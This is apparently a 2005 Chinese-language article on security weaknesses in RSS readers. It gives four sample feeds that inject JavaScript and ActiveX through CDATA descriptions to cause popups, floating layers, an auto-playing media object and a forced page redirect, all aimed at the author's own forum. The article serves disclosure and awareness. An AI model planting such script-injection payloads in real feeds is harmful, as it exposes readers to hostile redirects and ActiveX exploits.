又是楓紅葉落金秋時，秋風漸起，帶來的除了飛舞的落葉與陣陣寒意，還有CEO們期盼著以web 2.0這個定義模糊的概念帶來利益的希望。在此，天緣姑且拋開以用戶為主導的web2.0不談，只就其中的一個重要組成部分——目前已經比較廣泛使用的RSS技術與各位朋友作簡單地探討。
RSS是以xml技術為基礎，以聚合信息為目的進行信息表現的一種技術手段。其發展到目前，有多個版本及派生，比如ATOM等。隨著對信息內容處理/包含的多樣化，RSS的設計者將其功能與以加強，支持了js，ActiveX等多樣豐富內容及處理表現的技術。而我們在享受著越來越便利的信息獲取的同時，安全隱患的潘多拉盒子卻慢慢地開啟了。
下面，就讓天緣帶著大家一起，用一個個簡單地小例子，將RSS的隱患一一暴露出來吧。破壞RSS在大家心目中美好的期望并不是我所愿意的，但“不破不立，破而立之”。能在RSS更廣泛流行之前，把問題暴露出來，總比事后補救更好一些呢。
1．Web網頁有繁人的彈出窗口，RSS能避免掉嗎？
在瀏覽網頁的時候，第一討厭的就是彈出的廣告窗口，那么在RSS中，我們是否就可以靜靜地閱讀文章而不受打擾呢。愿望是美好的，現實卻是殘酷的，看看下面的一個小例子：
＜?xml version="1.0" encoding="gb2312" ?＞
＜rss version="2.0"＞
＜channel＞
＜title＞伊人有約 喜歡稀飯BBS＜/title＞
＜link＞http://skylove.study-area.org/bbs/thread.php?fid=18＜/link＞
＜description＞拒絕浮躁，讓我們沉寂下來認真學習＜/description＞
＜copyright＞Copyright(C)喜歡稀飯BBS＜/copyright＞
＜managingEditor /＞
＜language＞zh-cn＜/language＞
＜ttl＞10＜/ttl＞
＜generator＞喜歡稀飯BBS＜/generator＞
＜item＞
＜title＞
＜![CDATA[ 測試 ]]＞
＜/title＞
＜description＞
＜![CDATA[＜font color='red' onMouseOver="javascript:window.open('http://skylove.study-area.org');"＞一個測試，把鼠標移動上來吧.＜/font＞]]＞
＜/description＞
＜link＞http://skylove.study-area.org/bbs/read.php?tid=752＜/link＞
＜comments＞http://skylove.study-area.org/bbs/read.php?tid=752＜/comments＞
＜guid＞http://skylove.study-area.org/bbs/read.php?tid=752＜/guid＞
＜author＞
＜![CDATA[ skylove ]]＞
＜/author＞
＜source url="http://skylove.study-area.org/bbs/read.php?tid=752"＞喜歡稀飯BBS＜/source＞
＜pubDate＞Mon, 10 Oct 2005 11:50:08 +0800＜/pubDate＞
＜category＞
＜![CDATA[ 伊人有約 喜歡稀飯BBS ]]＞
＜/category＞
＜/item＞
＜/channel＞
＜/rss＞
以上的文本，請保存為一個xml文件，之后在rss瀏覽器中打開就能看到效果。當鼠標移動到那行文字的時候，竟然新開了一個web頁。當然，在此例中我所指向的是一個安全的地址。然而，如果是一個惡意的rss文件，打開的是一個含有惡意代碼的web頁，那樣會如何呢？相信結果大家都能想到了。 在rss中，允許利用＜![CDATA[ 和]]＞ 包含按原格式輸出的html文本，本身是為了豐富頁面元素，允許方便地用html的元素來規定字體，顏色，圖片顯示等元素。由于是對html代碼進行解釋，因此，大多的RSS瀏覽器在設計的時候，對這部分元素的解釋，直接采用調用ie瀏覽器內核的方式來完成。由此造成了css和js代碼也可以被方便地解釋執行——“劍本雙刃，為仁為惡，存乎一心。” 但由此帶來的問題是——比直接ie瀏覽web頁面更糟糕的是，很多RSS自帶的web瀏覽功能中，是沒有帶惡意javascript腳本過濾功能的，因此相對于ie那比較糟糕的防御而言，RSS則更是心不設防。同樣類似的例子是outlook等郵件客戶端在瀏覽多媒體郵件時候帶來的麻煩，不過現在outlook的漏洞已經被微軟patch了。而眾多RSS瀏覽器，由于不是微軟出品或是windows捆綁，就只好期待各瀏覽器的軟件作者盡快更新此類功能了。 所幸的是截至截稿時候為止，天緣所使用的GreatNews RSS瀏覽器已經加上了彈出窗口屏蔽地功能。
2．象牛皮蘚一樣的漂浮廣告在RSS時代是否終結了呢？漂浮的廣告總是在我們瀏覽網頁的時候，阻擋著我們的視線，曾經在RSS初出的時候，我們認為找到了救星，那么是否在RSS里，漂浮的廣告就會消失掉呢？ 試一下以下的代碼吧：
＜?xml version="1.0" encoding="gb2312" ?＞
＜rss version="2.0"＞
＜channel＞
＜title＞伊人有約 喜歡稀飯BBS＜/title＞
＜link＞http://skylove.study-area.org/bbs/thread.php?fid=18＜/link＞
＜description＞拒絕浮躁，讓我們沉寂下來認真學習＜/description＞
＜copyright＞Copyright(C)喜歡稀飯BBS＜/copyright＞
＜managingEditor /＞
＜language＞zh-cn＜/language＞
＜ttl＞10＜/ttl＞
＜generator＞喜歡稀飯BBS＜/generator＞
＜item＞
＜title＞
＜![CDATA[ test ]]＞
＜/title＞
＜description＞
＜![CDATA[
＜script language="JavaScript" type="text/JavaScript"＞
＜!--
function MM_reloadPage(init) { //reloads the window if Nav4 resized
if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
function MM_timelinePlay(tmLnName, myID) { //v1.2
//Copyright 1997, 2000 Macromedia, Inc. All rights reserved.
var i,j,tmLn,props,keyFrm,sprite,numKeyFr,firstKeyFr,propNum,theObj,firstTime=false;
if (document.MM_Time == null) MM_initTimelines(); //if *very* 1st time
tmLn = document.MM_Time[tmLnName];
if (myID == null) { myID = ++tmLn.ID; firstTime=true;}//if new call, incr ID
if (myID == tmLn.ID) { //if Im newest
setTimeout('MM_timelinePlay("'+tmLnName+'",'+myID+')',tmLn.delay);
fNew = ++tmLn.curFrame;
for (i=0; i＜tmLn.length; i++) {
sprite = tmLn[i];
if (sprite.charAt(0) == 's') {
if (sprite.obj) {
numKeyFr = sprite.keyFrames.length; firstKeyFr = sprite.keyFrames[0];
if (fNew ＞= firstKeyFr && fNew ＜= sprite.keyFrames[numKeyFr-1]) {//in range
keyFrm=1;
for (j=0; j＜sprite.values.length; j++) {
props = sprite.values[j];
if (numKeyFr != props.length) {
if (props.prop2 == null) sprite.obj[props.prop] = props[fNew-firstKeyFr];
else sprite.obj[props.prop2][props.prop] = props[fNew-firstKeyFr];
} else {
while (keyFrm＜numKeyFr && fNew＞=sprite.keyFrames[keyFrm]) keyFrm++;
if (firstTime || fNew==sprite.keyFrames[keyFrm-1]) {
if (props.prop2 == null) sprite.obj[props.prop] = props[keyFrm-1];
else sprite.obj[props.prop2][props.prop] = props[keyFrm-1];
} } } } }
} else if (sprite.charAt(0)=='b' && fNew == sprite.frame) eval(sprite.value);
if (fNew ＞ tmLn.lastFrame) tmLn.ID = 0;
} }
}
function MM_initTimelines() { //v4.0
//MM_initTimelines() Copyright 1997 Macromedia, Inc. All rights reserved.
var ns = navigator.appName == "Netscape";
var ns4 = (ns && parseInt(navigator.appVersion) == 4);
var ns5 = (ns && parseInt(navigator.appVersion) ＞ 4);
document.MM_Time = new Array(1);
document.MM_Time[0] = new Array(1);
document.MM_Time["Timeline1"] = document.MM_Time[0];
document.MM_Time[0].MM_Name = "Timeline1";
document.MM_Time[0].fps = 15;
document.MM_Time[0][0] = new String("sprite");
document.MM_Time[0][0].slot = 1;
if (ns4)
document.MM_Time[0][0].obj = document["Layer1"];
else if (ns5)
document.MM_Time[0][0].obj = document.getElementById("Layer1");
else
document.MM_Time[0][0].obj = document.all ? document.all["Layer1"] : null;
document.MM_Time[0][0].keyFrames = new Array(1, 15);
document.MM_Time[0][0].values = new Array(2);
if (ns5)
document.MM_Time[0][0].values[0] = new Array("30px", "34px", "39px", "43px", "47px", "52px", "56px", "61px", "65px", "69px",
"74px", "78px", "82px", "87px", "91px");
else
document.MM_Time[0][0].values[0] = new Array(30,34,39,43,47,52,56,61,65,69,74,78,82,87,91);
document.MM_Time[0][0].values[0].prop = "left";
if (ns5)
document.MM_Time[0][0].values[1] = new Array("20px", "35px", "50px", "65px", "81px", "96px", "111px", "126px", "141px", "156
px", "171px", "187px", "202px", "217px", "232px");
else
document.MM_Time[0][0].values[1] = new Array(20,35,50,65,81,96,111,126,141,156,171,187,202,217,232);
document.MM_Time[0][0].values[1].prop = "top";
if (!ns4) {
document.MM_Time[0][0].values[0].prop2 = "style";
document.MM_Time[0][0].values[1].prop2 = "style";
}
document.MM_Time[0].lastFrame = 15;
for (i=0; i＜document.MM_Time.length; i++) {
document.MM_Time[i].ID = null;
document.MM_Time[i].curFrame = 0;
document.MM_Time[i].delay = 1000/document.MM_Time[i].fps;
}
}
//--＞
＜/script＞
＜body onLoad="MM_timelinePlay('Timeline1')"＞
＜div id="Layer1" style="position:absolute; width:200px; height:115px; z-index:1; left: 30px; top: 20px; background-color: #FFFF66; l
ayer-background-color: #FFFF66; border: 1px none #000000;"＞測試層＜/div＞
＜/body＞
]]＞
＜/description＞
＜link＞http://skylove.study-area.org/bbs/read.php?tid=752＜/link＞
＜comments＞http://skylove.study-area.org/bbs/read.php?tid=752＜/comments＞
＜guid＞http://skylove.study-area.org/bbs/read.php?tid=752＜/guid＞
＜author＞
＜![CDATA[ skylove ]]＞
＜/author＞
＜source url="http://skylove.study-area.org/bbs/read.php?tid=752"＞喜歡稀飯BBS＜/source＞
＜pubDate＞Mon, 10 Oct 2005 11:50:08 +0800＜/pubDate＞
＜category＞
＜![CDATA[ 伊人有約 喜歡稀飯BBS
]]＞
＜/category＞
＜/item＞
＜/channel＞
＜/rss＞
3．ActiveX
微軟的ie之所以在很多領域受到歡迎，與ActiveX技術帶來的方便與實用性分不開。但ActiveX也時常會出現一些漏洞。那么在RSS之中，這個令人又愛又恨的功能，是否可以被使用呢？下面的例子里，天緣試著調用了一個媒體播放器：
＜?xml version="1.0" encoding="gb2312" ?＞
＜rss version="2.0"＞
＜channel＞
＜title＞伊人有約 喜歡稀飯BBS＜/title＞
＜link＞http://skylove.study-area.org/bbs/thread.php?fid=18＜/link＞
＜description＞拒絕浮躁，讓我們沉寂下來認真學習＜/description＞
＜copyright＞Copyright(C)喜歡稀飯BBS＜/copyright＞
＜managingEditor /＞
＜language＞zh-cn＜/language＞
＜ttl＞10＜/ttl＞
＜generator＞喜歡稀飯BBS＜/generator＞
＜item＞
＜title＞
＜![CDATA[ [喜歡稀飯特別版]-------<<美麗心情>>-------- ]]＞
＜/title＞
＜description＞
＜![CDATA[ 電臺地址:＜a target=_blank＞http://skylove.study-area.org/ssqx/mlxq.mp
3＜/a＞＜br/＞＜br/＞＜br/＞＜br/＞＜br/＞＜br/＞＜object class="OBJECT" id="MediaPlayer" width=336 height=256 classid="CLSID:22d6f312-b0f6-11d0-94
ab-0080c74c7e95" align="middle" height="256" width="314"＞＜param value="-1" name="ShowStatusBar"＞＜param value="http://skylove.study-a
rea.org/ssqx/mlxq.mp3" name="SRC"＞＜embed type="application/x-oleobject" codebase="http://activex.microsoft.com/activex/controls/mpla
yer/en/nsmp2inf.cab#Version=5,1,52,701" flename="mp" src="http://skylove.study-area.org/ssqx/mlxq.mp3" width=314 height=256＞＜/embed＞
＜param name="AutoStart" value="1"＞＜/object＞＜br/＞＜br/＞＜br/＞制作剪輯:素手清弦＜br/＞感謝我的支持者:天緣(SKYLOVE)＜br/＞＜br/＞＜br/＞＜a href='
http://bbs.oodiy.com/UploadFile/2005-4/200542612595936.gif' TARGET=_blank＞＜img src='http://bbs.oodiy.com/UploadFile/2005-4/200542612
595936.gif' border=0 alt="點擊打開新窗口查看全圖" onload='javascript:if(this.width＞screen.width*0.7)this.width=screen.width*0.7'＞＜/a
＞＜br/＞＜br/＞＜br/＞PS:因為設備(軟件)出了點問題,導致聲音效果不太好,或者有些突兀,刺耳,請原諒;＜br/＞ ^_^
]]＞
＜/description＞
＜link＞http://skylove.study-area.org/bbs/read.php?tid=645＜/link＞
＜comments＞http://skylove.study-area.org/bbs/read.php?tid=645＜/comments＞
＜guid＞http://skylove.study-area.org/bbs/read.php?tid=645＜/guid＞
＜author＞
＜![CDATA[ 素手清弦 ]]＞
＜/author＞
＜source url="http://skylove.study-area.org/bbs/read.php?tid=645"＞喜歡稀飯BBS＜/source＞
＜pubDate＞Sat, 04 Jun 2005 23:41:55 +0800＜/pubDate＞
＜category＞
＜![CDATA[ 伊人有約 喜歡稀飯BBS ]]＞
＜/category＞
＜/item＞
＜/channel＞
＜/rss＞
測試的方法同樣是保存為一個xml文件，然后在RSS瀏覽器中打開即可。在此例中，天緣引用了一個普通的mp3節目，而如果此功能被惡意利用，那么可能被包含的就是一個有漏洞的ActiveX控件，進而導致用戶的防線被撕開，埋下安全的隱患。關于利用ActiveX漏洞進行攻擊的文章是很多的，各位朋友以“ActiveX”、“漏洞”作為關鍵字，能搜索到不少的。
4. 頁面跳轉
有時候，我們常常在瀏覽某個網頁的時候，被突然轉到一個無關甚至有害的站點，這真的是很令人郁悶和危險的事情呢。而在使用RSS瀏覽器的時候，是否也會出現同樣尷尬的事情呢？
＜?xml version="1.0" encoding="gb2312" ?＞
＜rss version="2.0"＞
＜channel＞
＜title＞伊人有約 喜歡稀飯BBS＜/title＞
＜link＞http://skylove.study-area.org/bbs/thread.php?fid=18＜/link＞
＜description＞拒絕浮躁，讓我們沉寂下來認真學習＜/description＞
＜copyright＞Copyright(C)喜歡稀飯BBS＜/copyright＞
＜managingEditor /＞
＜language＞zh-cn＜/language＞
＜ttl＞10＜/ttl＞
＜generator＞喜歡稀飯BBS＜/generator＞
＜item＞
＜title＞
＜![CDATA[ [ 測試頁面跳轉 ]]＞
＜/title＞
＜description＞
＜![CDATA[ ＜script Language=JavaScript＞window.location="http://skylove.study-area.org/bbs/";＜/script＞ ]]＞
＜/description＞
＜link＞http://skylove.study-area.org/bbs/read.php?tid=645＜/link＞
＜comments＞http://skylove.study-area.org/bbs/read.php?tid=645＜/comments＞
＜guid＞http://skylove.study-area.org/bbs/read.php?tid=645＜/guid＞
＜author＞
＜![CDATA[ skylove ]]＞
＜/author＞
＜source url="http://skylove.study-area.org/bbs/read.php?tid=645"＞喜歡稀飯BBS＜/source＞
＜pubDate＞Sat, 04 Jun 2005 23:41:55 +0800＜/pubDate＞
＜category＞
＜![CDATA[ 伊人有約 喜歡稀飯BBS ]]＞
＜/category＞
＜/item＞
＜/channel＞
＜/rss＞
當天緣將此腳本在GreatNews中進行測試的時候，毫無預警地，頁面被跳轉到了 http://skylove.study-area.org/bbs/ 上面。由此可見，頁面跳轉的安全隱患問題依舊是存在著的。